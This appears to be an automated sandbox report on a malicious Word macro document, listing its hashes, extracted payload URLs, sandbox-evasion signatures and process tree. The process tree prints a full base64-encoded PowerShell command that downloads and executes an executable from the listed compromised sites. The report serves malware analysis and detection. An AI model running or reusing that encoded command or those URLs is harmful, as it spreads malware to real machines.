Analysis
-
max time kernel
145s -
max time network
166s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 21:57
Static task
static1
Behavioral task
behavioral1
Sample
sample.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
sample.doc
Resource
win10v2004-20220414-en
General
-
Target
sample.doc
-
Size
169KB
-
MD5
afb5e20db40e467a8cacf54c97ae0260
-
SHA1
25d0678af0d1a13c0e9d7cddcbf36f92b456d8fc
-
SHA256
fab24e56f202cebd46c30a914d6e5fff1d01ad7909a425eed9a8ddbec99cb8ae
-
SHA512
b50594654e82c48c283635395b00f747834e7e4f7be1e8b5fccc20ea8e915596b4d5fdb3ef1989ce318d5561272b10645053269bd24e8d45cfc0967c70a4bc8d
Malware Config
Extracted
http://manandvanwaterlooville.co.uk/wp-admin/prX892/
https://uniral.com/captchasignup/4J579681/
https://scyzm.net/lkx7/lqoH8S/
https://amagna.nl/DZ9MzAobu3/37Z/
https://nilinkeji.com/online/90fb31/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3648 4572 powersheLL.exe -
Blocklisted process makes network request 6 IoCs
Processes:
powersheLL.exeflow pid process 31 3648 powersheLL.exe 36 3648 powersheLL.exe 42 3648 powersheLL.exe 76 3648 powersheLL.exe 78 3648 powersheLL.exe 80 3648 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1872 WINWORD.EXE 1872 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powersheLL.exepid process 3648 powersheLL.exe 3648 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3648 powersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 1872 WINWORD.EXE 1872 WINWORD.EXE 1872 WINWORD.EXE 1872 WINWORD.EXE 1872 WINWORD.EXE 1872 WINWORD.EXE 1872 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1872-136-0x00007FF852740000-0x00007FF852750000-memory.dmpFilesize
64KB
-
memory/1872-130-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-131-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-133-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-134-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-135-0x00007FF852740000-0x00007FF852750000-memory.dmpFilesize
64KB
-
memory/1872-132-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-137-0x00000239BCD80000-0x00000239BCD84000-memory.dmpFilesize
16KB
-
memory/1872-141-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-144-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-143-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/1872-142-0x00007FF854B30000-0x00007FF854B40000-memory.dmpFilesize
64KB
-
memory/3648-138-0x00000182E1570000-0x00000182E1592000-memory.dmpFilesize
136KB
-
memory/3648-139-0x00007FF869630000-0x00007FF86A0F1000-memory.dmpFilesize
10.8MB